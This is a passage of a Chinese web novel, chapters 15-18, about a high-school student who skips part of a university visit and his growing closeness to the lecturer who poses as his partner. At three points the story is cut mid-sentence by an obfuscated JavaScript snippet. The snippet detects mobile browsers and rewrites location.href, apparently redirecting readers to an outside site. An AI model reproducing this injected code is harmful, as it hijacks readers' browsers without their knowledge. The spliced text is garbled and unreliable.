“下周五学校会组织高二学生去参观Z大——” 她后半句话都没能说完,教室里欢呼起来。反正对他们来说,只要不上课,什么都是好的。 白骁用力拽了拽池燃的后衣领,很是激动,“Z大!池燃,是Z大!” 池燃为了避免自己被勒死,往后靠过去,问,“Z大怎么了?” “潭哥在Z大啊!”白骁说,“你不知道?” “咱可以让他带咱俩出去玩!” 池燃扬了扬眉,略有意外。 他还真不知道潭知行是在Z大当老师,从来没问过。 那看来潭知行还真挺厉害的? “早上八点在学校集合,坐车去Z大,上午有一场讲座。”赵莉莉介绍着活动安排,“下午可以自由参观校园,也可以去教室旁听,但不要乱跑,活动结束后要统一回学校。” “没问题!”有几个向来活跃的男生喊道。 “我们肯定不乱跑!” “老师你放心吧!” 赵莉莉无奈地瞪他们一眼,“你们最好是,别一说自由活动就跑去网吧。” 班里人哈哈笑起来。 “行了行了,都收收心。”赵莉莉敲敲桌子,“一会儿语文老师来上课了。” - 晚上,池燃跟潭知行说了要去参观Z大的事,潭知行正在沙发上看书,听完只淡淡嗯了一声,“我知道。” “你知道?!”池燃瞪大眼睛,“你什么时候知道的?” 潭知行回想了下,大概是一开学的时候。郑主任就找过他,说过段时间有个宣讲会,除了校长要做演讲,还需要一位老师,就找到了他。 潭知行翻着书页,答道,“你们上午要听讲座吧,我也要讲一部分。” 池燃一听,眼睛亮了,立刻单膝跪到沙发上,凑到他近前,“你也要讲一部分?那你能不能......” “嗯?”潭知行看向他,直觉池燃又要闹事了。 池燃嘿嘿一笑,“白骁说想和我去网吧,既然你还要做讲座,那我俩偷偷溜出去,你能不能当没看见?” 潭知行正好看到‘孩子贪玩该怎么办’这一页。 他默默叹口气,问,“就一个小时也等不了?” 孩子贪玩——教育他玩乐要适度。 “反正听讲座也没什么用,总比逃课强吧?”池燃觉得自己很有道理。 半晌,潭知行应了下来,“可以。” 池燃很满意,他眼睛弯起来,笑得和只小狐狸似的。 “你在看什么?”他顺便瞥了眼潭知行手里的书,念出了声,“孩子贪玩......” “潭知行!”他一下被惹毛了,“你把我当小孩!” “没有。”潭知行淡定否认。 “你还说没有!”池燃一下把他手里的书拎了起来,“你看的什么书!陪孩子度过青春期?!” 他大声道,“我已经过了青春期了你知道吗!我成年了!我是个大人!” 潭知行被他吵得头疼,只得道,“不是因为你看的。” “那你——” 潭知行:“为我以后结婚生子做准备。” 池燃:“......” 他撇撇嘴,把书扔回给潭知行,“那你应该从早教书开始看。” 潭知行顺着他胡扯,“不用,我打算直接领养。” 池燃:。 “作业做完了?”潭知行把书合上,“我买的高中生物书到了,可以给你讲——” “没有!”池燃一溜烟一样跑回房间。 - 周五,参观Z大的日子。 一想到今天能在网吧玩个昏天黑地,池燃和白骁几个男生都很亢奋,从在校车上就开始计划了。 “你真跟潭哥说好了?”白骁问,“咱们几个连着出去没问题吧?” “说好了。”池燃很是自信,“他会放水的。” “太牛了。”白骁说,“我勉强称你一声哥吧。” 池燃切了一声,“我本来就比你大一岁好吧。” “诶。”白骁反驳他,“咱们不论年纪,只论实力知道吧。” 在赵莉莉的组织下,八班的学生下了车,跟着前面的班级往学校礼堂的方向走。 为了到时候不那么引人注目,池燃和白骁都商量好了,他们几个分开坐,就算缺席也不显眼。 池燃挑了个角落里的位置坐下,昨天他没怎么睡好,一坐下就犯困。等台上的校长老头开始讲话,他就更困了,比生物老师还催眠。 他迷迷糊糊睡了一会儿,突然被旁边人的骚动吵醒。 “我去,这个真的是老师吗?” “Z大还有这么帅的老师,看着好年轻啊。” “服了,简直是我理想型,智性恋天菜吗这不。” 池燃被吵醒有点不耐烦,他朝台上瞥了眼,才发现已经到潭知行演讲的环节了。 潭知行今天穿了一身正装,虽然他平日里也穿得很正派,可今天的打扮是很标准的正装,黑西服打领带,衣型挺括,加上那副银框眼镜,看着竟有几分禁/欲的气质。 “你说我穿西装能有这么帅吗?” “我要考Z大。” “他们校长糊涂啊,这不是最好的招生宣传吗?” 池燃盯着潭知行,愣了片刻才被手机震动叫回神来。 白骁给他发了消息:「现在走吗?」 池燃犹豫了下,回:「再过5分钟吧。」 别说,潭知行往讲台上那么一站,气质好像还真不一样了。 但是......潭知行也太受欢迎了吧? 池燃往四周看了看,感觉一大半的学生不论男女眼睛都盯在潭知行身上了。 白骁给他回了个问号。 池燃:「别太明显了,缓一缓。」 白骁:「哦哦。」 “有这张脸做什么都会成功的。” “我去,30岁,副教授,这么牛。” “他怎么练的啊?感觉身材也好好。” 池燃有点无语。 喂喂,他可以理解少男少女对成功人士的崇拜,但不要太离谱好吧。 但凡他们知道潭知行是一个会在家里看《陪孩子度过青春期》的变态,都会祛魅的! 池燃没察觉到自己盯着潭知行的眼神都有几分狠厉了。 潭知行凭什么这么招人喜欢?! 算了。 半晌,池燃也觉得自己有点莫名其妙。 他才不想看潭知行继续在这里散发魅力,还是游戏比较好玩。 他这么想着,站起了身。 白骁一直关注着池燃的动态,一看他起身,也跟着站了起来。 “倒数第二排最左边的同学,你是想回答一下这个问题吗?” 听到潭知行的声音,白骁一屁股坐了回来。 池燃:? 他难以置信地朝台上望过去,只见潭知行正笑意盈盈地看着他,简直称得上和蔼可亲。 搞什么? 池燃快炸了。 潭知行临场变卦啊,不是说好了要放他一马吗? 怎么?要把他当场拿下? 池燃僵在那里,显得很无措。 他哪里知道潭知行刚才问了什么问题? 他一阵沉默,“我......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203346|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>潭知行突然笑了笑,“抱歉,你是要去卫生间吧。” 池燃:“......" 他硬着头皮点了点头。 潭知行:“好,有想去卫生间的同学现在去吧。” 池燃咬咬牙。 他快步走下阶梯教室,临出门前狠狠瞪了潭知行一眼。 故意的,潭知行绝对是故意的。 有了潭知行的许可,几行人陆陆续续出了教室。 白骁拍拍胸脯,长舒口气,“我去,刚才吓死我了,原来是你和潭哥商量好的啊。” 他朝池燃竖起大拇指,“牛,这样找个借口显得合理多了。” 池燃:“......” 要是商量好的就好了。 但他不想在白骁面前丢脸,便一把揽住白骁的肩,哼哼哈哈地答应着,“嗯嗯嗯是,走走走。” Z大后街就有不少网吧,毕竟是大学生,学习再好也需要上网吧打游戏。 池燃刚开了机子,和白骁一同坐下,手机上就弹出来了潭知行的消息。 潭知行:「几点回家?」 潭知行:「在哪个网吧?发个定位给我。」 池燃嘬了下腮,觉得潭知行管的有点多。 但他还是回了个位置给潭知行,干脆道:「不回,我们要通宵。」 “来来来兄弟们,上号!”白骁已经张罗起来了。 池燃一边登账号一边瞥向手机屏幕。 潭知行:「非要通宵吗?」 潭知行:「我今天也要加班,十一点多可以去接你。」 池燃狠狠敲过去两个字:「不用!」 “池燃你干嘛呢?”白骁见他半天不动,怼了下他胳膊,“开游戏啊。” 他朝池燃看过来,视线一下落在手机屏幕上,“诶,潭哥不让你通宵啊?” 池燃把手机推到一边,“别管他。” 这时候潭知行又发过来两条消息。 潭知行:「午饭也不吃吗?」 潭知行:「附近有家很不错的烤肉,去不去?」 白骁一看倒激动了,扯着嗓子问大伙,“哎兄弟们,烤肉吃不吃!有人请!” 池燃:? 他一把拿过手机,骂了白骁一句,“你他妈...干什么......?” 白骁没皮没脸地跟他笑,“吃烤肉,干嘛不去?” 这会儿池燃想反悔也晚了,几个男生已经嗨了。 “去!有人请客为什么不去!” “吃吃吃,我正好饿了。” “吃!总比在网吧吃泡面强!” 陈一铭啧了一声,“哎,游戏还打不打了?都开一局了。” 白骁:“打打打,打一局再去吃。“ 他特别自然地跟池燃吩咐,“你跟潭哥说一声,等咱一小时。” 池燃:“......” 到底谁说要请他们吃饭了? 没办法,他只得硬着头皮给潭知行回消息。 池燃:「我和白骁还有几个同学,一起吃,行不行?」 应该不会给潭知行吃破产吧? 潭知行回得很快:「可以。」 池燃松了口气,回:「我们还得一个多多小时,你等会儿?」 潭知行:「好。」 池燃稍有意外,潭知行这会儿还挺好说话的。 他想了想,决定报一下潭知行刚刚整他的仇。 池燃:「刚才来Z大的路上我看到徐福记了,我要小龙虾,还要奶茶。」 池燃:「再买个小蛋糕。」 潭知行:「这么多,你吃得了吗?」 池燃刚想发一句“你别管”,他的本意也不是要吃,就是单纯折腾潭知行,就看见潭知行回了个“好”过来。 潭知行:「给你赔罪。」 16. 第 16 章 池燃和白骁几个人从网吧出来,闹闹哄哄往烤肉店的方向走。 白骁往四周看了看,问池燃,“哎,潭哥呢?他已经在饭店等我们了?” 池燃:“没。” 走到路口,他推了把白骁,“你们先过去,我去买杯奶茶。” 白骁哦了声,“那你给我带一杯。” 池燃:“......” 他和白骁他们走了相反的方向,没几步就看见了潭知行的车子。 他快步走近,拉开车门坐进去,直截了当地问,“干嘛把我叫这儿来?你不去吃饭?” 潭知行嗯了声,“我不去了,你们吃吧,我已经订好位子了。” 池燃回头往后座上一看,小蛋糕和小龙虾都整整齐齐地摆着了。 “奶茶呢?”他盯住潭知行。 “订了外卖。”潭知行说,“你们每个人都有份。” 池燃:“......哦。” 心还挺细的。 “你干嘛不去?”他又问潭知行。 “你们小孩子聚会,我去你们会不自在。一会儿给你转账,当作你请客就好。” 池燃抓住他的用词,重申道,“我说了我不是小孩子。” “好。”潭知行无奈应下来,“你说不是就不是。” 池燃:“......” 他扁扁嘴,想起潭知行上午的所作所为,又是一肚子气,“你干嘛突然提问我,看我出糗好玩是吧?” “没有。”潭知行看他气呼呼的模样,又萌生了几分想逗他的心思,接着编瞎话道,“就想着...给你们找个合理的理由逃课。” “骗鬼呢?”池燃瞪他一眼,“那你说给我赔罪是什么意思?你还做了什么别的对不起我的事情?” 潭知行忍不住笑了,承认道,“好吧,确实很有意思。” “你——” 承认得还怪痛快的。 池燃切了一声,从后座拎过小龙虾和蛋糕,“今天就算饶了你了。” 潭知行轻轻嗯了一声。 池燃刚想转身下车,想起什么似的,又看向潭知行,“你真不去?那你中午吃什么?” 现在已经过了学校食堂开放的时间了。 潭知行略过他问吃什么的话题,只道,“我得回实验室看一眼,今天会忙。” 池燃缓缓哦了声。 他心里莫名升起一点愧疚。 所以是他指挥潭知行买这买那,才让潭知行错过了吃饭的时间吗?明明潭知行结束讲座的时间就很晚了。 他没再说什么,拎着东西下了车。 烤肉店里,白骁他们已经点好菜,烤起来了。 潭知行订的包间,池燃一进门,白骁就招呼他,“快快,你们来得正好。” 等他往池燃身后瞅了眼,没看见潭知行的人影,才愣了下问,“哎?潭哥呢?” 池燃将东西放到桌子上,情绪不高,“他要忙,回学校了。” 白骁一看他拎的袋子,眼睛又亮了,“我靠小龙虾。” 他立刻动手拆包装,“太仗义了哥们。” “我去,烤肉加小龙虾。”一男生道,“盛宴啊。” “这不比跟他们去吃学校食堂强多了。” 白骁又看到另一个盒子,问池燃,“这啥?蛋糕啊?” 池燃嗯了声,在他旁边坐下。 “呃。”白骁犹豫了下问,“潭哥给你买的?” 池燃把盒子推给他,“嗯,你吃吧,我吃不下。” 看他情绪不太对,白骁压低声音,小心翼翼地问,“你咋了?又和潭哥吵架了?” “没有。”池燃抿了抿唇,和白骁说了实话,“......他好像没吃饭。” 白骁:“那你咋不把蛋糕给他?” 池燃:? 他瞪大眼睛看向白骁。 对啊,他刚才怎么没想到? 脑子被糊住了。 白骁不明白他的表情,“又咋了?” 池燃二话没说,拎过蛋糕起身,“我给他送过去。” 他话音刚落就拉开门跑了,白骁扯着嗓子在后面喊,“那你还吃不吃肉了!你吃完再去也行啊!” 突然又想起什么,白骁也跟着跑出去,“不是,你走了谁买单啊!” - 不过十几分钟的时间,池燃拎着蛋糕一路小跑,跑进了Z大大门。 这时候他才意识到一个问题:潭知行的实验室在哪儿啊? 他跑得满头是汗,啧了一声,不得不腾出手来拿手机给潭知行发消息:你实验室在哪儿? 他盯着手机屏幕看了一会儿,潭知行没回。 想到潭知行说今天会忙,应该是根本没时间看手机。 正在他犯愁的时候,突然在前面看见了个熟悉的身影。 那不是潭枫吗? “潭叔叔!”池燃喊了声,连忙跑上前。 见到池燃,潭枫也很是意外。他哎了声,问,“小池?你怎么会在这儿?” 池燃答道:“我们学习今天组织来Z大参观。” 他说完,又急着问,“叔叔,你知道潭知行的实验室在哪儿吗?” 潭枫微微一愣,问,“实验室?你找他?” 池燃点头,“嗯。” “他中午没吃饭,我给他送过去。”池燃提了提手里的蛋糕。 潭枫顿时露出一副欣慰的表情。 “我知道他实验室在哪儿,不过我现在正要去上课,带你过去可能来不及,你自己过去行吗?” “可以。”池燃高兴地笑,“谢谢叔叔。” 潭枫给池燃往前面那栋楼指了指,“从那儿左转,再往前走两条街就到了。他实验室在三楼,302。” “不过他进实验室的时候一般都不带手机,你可能联系不到他。” “没事儿。”池燃说着,就向前跑去,又倒退着朝潭枫挥了挥手,“下次见叔叔!” 潭枫看着池燃跑远的背影,脸上的笑容都止不住,半晌,才往教学楼的方向走去。 他欣慰地叹出口气,“知行真是找了个好对象啊。” 池燃按着潭枫说的位置找到实验楼,三步并作两步跑上楼。整层楼很大很空旷,又没有指示牌,池燃转了半圈才找到302在哪儿。 门牌上的负责人正写着潭知行的名字。 门上有门禁,要刷卡才能进。池燃隔着玻璃窗探头探脑地往里看了看,但门口隔了块更衣区,他只能隐隐约约看见里面有几个穿白大褂的人影,太过模糊以至于他都分不清那是不是潭知行。 现在敲门应该会影响潭知行工作...... 池燃犹豫半晌,把蛋糕盒子在门口放下了。 反正蛋糕也不怕凉,等潭知行休息的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203347|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候出门就能看见。 池燃这么想着,觉得放心了些。 他掏出手机给潭知行留言,他又看到白骁的消息。 白骁:「你啥时候回来啊?」 白骁:「要不给你打包?」 池燃一看时间,才过半个小时而已。 吃这么快? 他回:「马上回去了。」 白骁一收到池燃的消息,立刻把烤好的肉从烤盘上夹进盘子里,“哎哎哎,你们给池燃留点,还有那小龙虾,多给他留点,他喜欢吃。” 池燃又一路跑回来,进门一屁股坐在椅子上,呼呼大口喘气。 看见已经被挑好的肉,他打了白骁一下,“行啊,还算你有良心。” 白骁嘿嘿一笑,“那你看,都哥们。” 他问,“你给潭哥送过去了?” 池燃点点头,“累死我了。” 白骁:“其实你也没必要特意跑过去一趟,他都那么大人了,饿了会吃饭的。” 池燃白他一眼,“没听说过人是铁饭是钢,一顿不吃饿得慌吗?” 白骁:“......” “哎。”他用胳膊肘怼怼池燃,低声问,“你俩,真是假装情侣的?” 池燃:? 他不明所以,“是啊,不然呢?” “那你是不是有点......”白骁一度欲言又止。 “干嘛?”池燃夹了一筷子烤肉,“你想说什么?” 白骁又摇摇头,“没,没事。” 他挠挠脖子。 假扮情侣用做到这个地步吗?是不是有点太上心了? 如果是季明野没吃午饭,他倒是会跑二里地也要把饭塞进季明野嘴里。 还有他潭哥,是不是也太惯着池燃了? 半晌,白骁决定把这些不靠谱的想法抛在脑后,就当他俩一个尊老一个爱幼吧。 他拍拍池燃的后背,“快吃,吃完咱回网吧。” - 晚上六点多。实验室里几个学生都略显疲态。 潭知行看了眼时间,道,“不早了,你们先去吃饭,我在这儿看着。” 几个人互相看看,都有点不敢动。 哪儿有老师留下看实验,学生去吃饭的道理? “快去吧。”潭知行轻声催促道,“一会儿赶不上食堂开饭了。” 一个男生胆子大点,问,“那......我们真去吃饭了?” 潭知行笑了,“真的,去吧。” “谢谢老师。”女生眼睛亮亮地看着潭知行,“老师辛苦了。” “用我们帮你带回来点什么吗?” “不用。”潭知行说,“我先不吃。” 几个人匆匆换好衣服,走到实验室门前,开了门。 忽然有人诶了声,“这什么东西?” “谁放在咱实验室门口的?”一个女生将盒子捡了起来,回身问,“你们谁的?看着像是蛋糕?” “不是我的。” “不知道,放错了吧。” 听到学生议论的声音,潭知行走出来,问,“怎么了?” “老师,不知道谁放了这个在咱实验室门口。” 看见女生手里提的东西,潭知行一下愣了。 “你们谁对象给送的吧?”一个男生说,“你们问问。” 潭知行:“……我的。” 17. 第 17 章 几个学生瞬间惊得下巴都要掉下来,互相看了几眼,谁也不敢说话。 气氛一时间很古怪。 潭知行淡定从兜里掏出自己的校园卡,递给其中一男生,“麻烦帮我送回办公室吧,放桌子上就行。” “哦哦。”男生忙点头,“好的老师。” 几个人鱼贯而出,关上实验室的门,听到“咔哒”一声上了锁,才同时长舒一口气。 “我靠吓死我了。” “你们谁问的是不是对象送的?那么会说话呢?” “我草我哪儿知道。” “咱导啥时候有的对象啊?”一女生问。 “谁知道?” 他们边往楼下走边议论,“我听说主任不是一直给他介绍对象呢吗?” “但他好像没答应过啊。” “不知道,可能这次成了?”一男生耸耸肩。 “好想见见咱导对象长啥样。” “能配上咱导的,估计得貌若天仙,贤良淑德——” “哎行了你,戏那么多。” - 池燃正打着游戏,键盘鼠标按得飞起,忽然打了个喷嚏。 白骁看他一眼,“咋了?这屋空调有那么凉吗?” 池燃晃晃脑袋,“不知道。” 是不是谁在背后说他坏话呢? 突然他目光一聚,手肘给了白骁一拐,“哎看你右边!有人!” “我草!三个人!” 白骁不过分了下神,不知道石头后面从哪儿冒出一队人来,但他想躲已经来不及了,对方几梭子把他打趴在地。 他摔了下鼠标,问池燃,“你能救吗?不能救你快跑。” 陈一铭看了眼地图,应道,“燃哥你等我一会儿,我马上过去,你别自己莽。” 可他们说话的功夫,池燃已经莽上去了。 白骁:“我草,你——” 他刚想说“你别莽啊”,猥琐发育才是正道,池燃绕着石头来了个走位,一下把对面三个都打趴了。 白骁:? 近战的神。 池燃给仨人各自补了一枪收了人头,跑过来救白骁,还娴熟地封了个烟。 白骁一瞬间用崇拜的目光看向池燃。 池燃和他对上视线,“干嘛?” “觉得我很帅?”池燃乐了,“快叫哥。” 白骁:“......” “去你的。”他还了池燃一肘击。 “哎你这人!”池燃立刻不救了。 明明还差两秒就把白骁扶起来了,他起身走了。 白骁顿时抓住池燃的胳膊,“哥!别,燃哥,快救我。” 陈一铭在旁边笑得放肆,“哈哈哈哈玩脱了吧。” 池燃这才回来重新扶他。 白骁感叹一声,“你这水平,去打职业都行了吧。” 陈一铭也附和道,“就是啊,燃哥,你还在走学习这条弯路吗?” 池燃半晌没出声,只挪了挪鼠标,“再说吧。” 其实他不是没想过要去打职业,可碍于他以前的社会身份,这个梦想对他来说是无法实现的。池州诚根本不可能让他去当一个电竞选手,因为这对池家来说,不光彩。 可现在,他只是个放在人堆里都挑不出来的高中生,名不见经传。 是不是有可能...... “燃哥!快来救我!”不知道谁又喊了句。 池燃收下躁动的心思,专注回游戏里。 “来了。” - 潭知行十点半才做完实验,结果还不错,将学生们送走,他又留下整理了会资料,才回到办公室。 蛋糕正端端正正地放在桌子正中央,看得出来摆放的人也觉得这个蛋糕很重要。 潭知行一向很少吃甜食,但他已经将近一天没吃过东西了。饶是他身体再怎么好,这会儿也有些坚持不住。 他坐下,拆开蛋糕盒子,用叉子挖了一口来尝。巧克力的甜腻瞬间充盈整个口腔,落进胃里,很快抚平他胃中的空虚。 原本是给池燃买的蛋糕,却进了他肚子里,这让潭知行觉得有些许的微妙。 不知道池燃是怀着什么样的心情把这份蛋糕送来的。 这么想着,潭知行拿过了手机。 来自池燃的未读消息只有一条,是中午发来的。 池燃:「这蛋糕我吃不了,给你了。」 潭知行嘴角一弯,他似乎都能想象到池燃说这话时的语气和模样。 拽拽的,耳尖却微微泛红,明明是种简单的关心,还要编个理由来欲盖弥彰,维护少年特有的自尊心。 很可爱。 眼看着时间将近十一点,潭知行给池燃发了条微信过去:「还在网吧?」 池燃大概是忙着,只简单地回了他一个字:「嗯。」 看来他们今晚是下定了决心要通宵,潭知行也不好再干涉什么,他没再说什么要池燃早点回家的话,犹豫半晌,敲过去几个字:「谢谢,蛋糕很好吃。」 - “哎哎哎池燃!你那来人了!” 白骁一顿嚎叫,但没能把池燃的注意力从手机上拽回来。 “我靠!死了!你发什么呆呢?!” “啊?”池燃被白骁怼了下,才看回电脑屏幕。 他被人打死了。 他面无表情地动动鼠标,“哦,没事,这局你们玩。”随后把手机按灭了。 不知怎么的,他耳根有点热。 看着白骁他们打了会儿,觉得有点没意思,他推开椅子站起来,“我去外面待会儿,透透气。” 坐了这么久,腿都有点累。空气里弥漫的烟味也熏得他头疼。 白骁盯着屏幕,嗯嗯地点头,“去吧去吧,开了下局叫你。” 池燃从贩卖机买了瓶水,出了网吧,站在台阶上,仰头咕噜咕噜喝了大半瓶。 夜里空气很好,景色也不错,月朗星稀。 只不过这个点,街上的商户大多关了门,显得清冷了些。没人跟他一起分享这片刻的宁静。 就在这个时候,他见到了个意想不到的人——潭知行。 潭知行的车子停在街对面,人倚在车边,指尖燃着点点烟火。同他对上视线时,似是也很意外,很快将烟在车门边捻灭了,动作间甚至称得上慌乱。 池燃想都没想,大步朝潭知行跑了过去,“喂,你在这儿干什么?” 潭知行神色恢复了往日的平淡,不答反问,“你呢?怎么出来了?” “里面太闷了,我出来透透气。”池燃说。 也不算假话,他确实想透透气。 潭知行靠近他几分,轻轻嗅了嗅他身上的味道,问,“你抽烟了?” “没啊。”池燃说,“是网吧里的烟味。” 说到这儿,他嘴巴一撅,“干嘛?只许你抽烟,不许我抽?” 潭知行带着笑意嗯了声,“只许州官放火。” “切。” “你还会抽烟,看不出来啊。”池燃扁扁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203348|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,“还以为你真是什么自律怪物。” “偶尔会。”潭知行说,“人太自律也是会被闷死的。” 池燃没太听懂他话里的深意,但很认可地点了点头,“你也知道啊,你不要每天拽着我吃草了。” 潭知行低下头笑了。 “你下班了?”池燃问。 “嗯。” “那你......” 潭知行:“路过,来看看你,们。” 他临时才接上个“们”字,但还好,没有显得很突兀。 池燃:“就在这儿看?能看出什么来?” 潭知行缓缓嗯了声,“如果网吧没着火,没坍塌,没有人尖叫着从里面跑出来,那你们应该挺好的。” 说实话,他也不清楚自己为什么会半路把车停在这儿,还抽了支烟。 想了半天,也只有“想”而已,他想这么做。 池燃:“......” 好吧。 “那,你看完了?”池燃向他张开双臂,以显示自己还四肢健全,“就包个夜而已,没什么事。” 潭知行点头,“看完了。” “我回去了。”他说着,就要拽开车门。 “哎,潭知行。”池燃突然叫住他。 “嗯?” “你觉不觉得,今天晚上月亮很亮?”池燃这么没头没脑地问出一句来。 潭知行稍稍愣了下,抬眼朝夜空望去。 半晌,他说,“确实,很漂亮。” 池燃笑眯眯的,“我也觉得。” - “嗯?你们怎么不玩了?” 回到网吧,池燃瞧见几个人屏幕都换成了网页和word。 “靠。”白骁骂了声,“我才看见晚上班任在群里说要咱交一份心得。” 池燃:“什么心得?” 白骁:“参观Z大的心得啊。” 池燃:“哦。” 见池燃半点不慌不忙,白骁问,“你听讲座了?你逛校园了?” 池燃:“没有。” 白骁一把拽着他坐下,“那你还不快写!” “咱哥几个一人凑点改改就完事了。” “来来来,你也搜。”白骁还给他安排了任务,“你就搜......Z大的校史背景,然后用车轱辘话写五份。” 池燃很豪气地一摆手,“我不用。” 白骁:“那你......?” 随后,他眼见着池燃掏出手机,点开了和潭知行的对话框。 白骁一下明白他想干什么了,“靠,你搞特殊。” 池燃挑了下眉,“那咋了?” 池燃:「潭知行,救。」 潭知行:「?」 池燃:「请你以高中生的视角写一份对参观Z大的心得。」 池燃又问白骁,“有字数要求吗?” 白骁:“呃,好像是八百。” 池燃:「不少于八百字。」 白骁:“......” 潭知行:「请问我为什么要写?」 池燃想了下,回:「你会对Z大有更深刻的认知。」 潭知行:「那不用了,我对母校的认知已经很深刻了。」 白骁看到潭知行的回复后在一旁偷笑,“你放弃吧,我潭哥不是那么没原则的人。” 池燃还想再挣扎一下,但还没想好要怎么威逼利诱潭知行,潭知行就先回了过来。 潭知行:「当作今天蛋糕的报答,可以。」 18. 第 18 章 当然,池燃也没有那么不讲义气。 把自己的部分交给潭知行之后,他还是帮兄弟们查资料了。 周一,几个半点心得都没有的人都交了好几页纸。 赵莉莉似乎看透了他们,拿着他们的心得在手里翻了翻,“别当我不知道啊,周五有好几个人都没回学校吧,我看你们能写成什么样。” 陈一铭不要命似的喊了声,“老师你放心看!” 有人附和,“就是啊,我们写的可认真了!” 赵莉莉哼了声,“行了,上自习吧。” 等赵莉莉一走,白骁立刻凑上去和池燃说话,“哎,周末出去玩?” 池燃靠在椅背上打了个哈欠,“又去网吧?缓缓。” 白骁:“不是,看电影,有个新上的恐怖片。” “听说评价还不错,一起去?” 池燃犹豫了下,他对恐怖片不感冒。不过白骁说想去,他倒是可以陪着。 他点头,“可以啊。” 白骁又说,“就咱俩去有点无聊,要不......” 他趴到池燃耳朵边,极小声地说了句,“你问问你同桌想不想去?” 池燃:? 他不可思议地回过头看向白骁,“你......” 白骁跟他比了个“嘘”的手势,又怂恿他去问。 池燃迟疑半晌,往季明野的方向凑了凑,“那个,同桌。” 季明野正在写题,见池燃和他说话,停下笔扭过头来,“嗯?” “呃......”池燃硬着头皮问,“你这周末有事吗?” 说实在的,他觉得自己和季明野的关系还没好到可以周末约着出去玩的地步,但凡是总有第一次。 “没有。”季明野说,“怎么了?” “要不要跟我们出去看电影?”池燃往后比划了下,“我和白骁。” 但他再一看,白骁这人居然低下头看书了? 池燃恨不得把白骁的脑袋拎过来。 这时候怂什么?倒是把他当挡箭牌了。 “有个恐怖片,听说挺好看的,你想去吗?” “是这周刚上的那个吗?”季明野像是有了兴趣,“好啊,正好我也想看。” 池燃松了口气,“那太好了,我们一起。” 他琢磨了下问,“你喜欢恐怖片?” 季明野点头,“嗯。” “你也喜欢?” 池燃顿了顿,不得已承认下来,“呃...我也,我也喜欢。” 一下课,池燃把白骁连扯带拽拉到操场上。 “你喜欢季明野?!!” 白骁被他的嗓门吓了一跳,他蹦起来把池燃的嘴用手堵上,“你小点声我的祖宗!” 池燃唔唔地挣开他,“靠!” “你真喜欢他!”池燃像是发现了什么新大陆,眼睛瞪得溜圆,“我就说你一跟他说话就不对劲!” 白骁难得红了脸,很不好意思地挠挠头,“我就没咋跟他说过话。” “你也太怂了吧。”池燃看不过去,“想约人家出去还得搭上我。” 白骁无奈道,“他平时就不怎么跟班里的人说话,我也不敢。” “这不是你来了,我发现他跟你还算说得上话,就想求你试试嘛。” 池燃:“......” 白骁真是一点都没有他们Alpha的作风。这种怂样,放到abo世界只能做Beta好吗! 他叹口气,恨铁不成钢似的,“追人要主动出击你懂不懂,喜欢谁就上啊,表白,缠着他,对他好。” 白骁稍显落寞地瞥开眼。 要是真有池燃说得那么容易就好了。 道理他都懂,可他就是不敢啊...... 池燃见他这样,揽上他的肩膀,“行吧,我就大发慈悲,帮帮你。” “谁让你也替我跟潭知行爸妈说谎了呢。” 白骁冲他双手合十,“燃哥,你是我哥。” “从今天起这个校霸你来当。” - “白骁有喜欢的人了?” 潭知行听池燃绘声绘色地给他讲了遍今天的情形,但总觉得这个话题不该在他给池燃讲课的时候提起。 不过池燃总是这样,思维跳跃得很,他快要习惯了。 “是啊。”池燃转了转笔,“好像还喜欢有一段时间了。” “喜欢这么久还没半点进展,他真的太怂了。” 他愤愤捶了下桌子,“你敢相信吗,他连约人家出去都要搭上我。” 潭知行笑了下,想起他前几天在书上看到的青春期少年心理。 春心萌动的时候,害怕也是常情。 “所以你要帮他追人?”潭知行问。 池燃摇摇头,“追人这种事还得他亲自来,我只能给他们创造点相处空间。” 潭知行微撑起头,看他,“你还挺有经验?” 池燃:“......” 他没有。 但他故作镇定,干咳两声,正色道,“那当然。” 追人嘛,就是,追人。 他眼睛一转,反问潭知行,“那你呢?” “我?”潭知行微微一笑,神色敛下来,“我没有。” 池燃:? 他追问道,“什么意思?” 潭知行垂眼翻课本,“意思就是,我没谈过恋爱,也没追过谁。” 他有意跳过这个话题,“好了,该讲下一章了。” 但池燃很明显被这个的回答惊到了。 他瞪大眼睛,“你没谈过恋爱?怎么可能?!” “你都——” 30岁了。 以潭知行这个条件,这个年纪,到现在还没谈过恋爱,鬼听了都觉得不合理。 “为什么?”池燃问。 突然,池燃想到什么,小心翼翼地问,“你不会...真不行吧?” 潭知行:“......” 他就不该回答池燃这个问题。 他沉口气,看向池燃,目光里似有无奈,“怎么?我没谈过恋爱,有那么让你不可思议吗?” 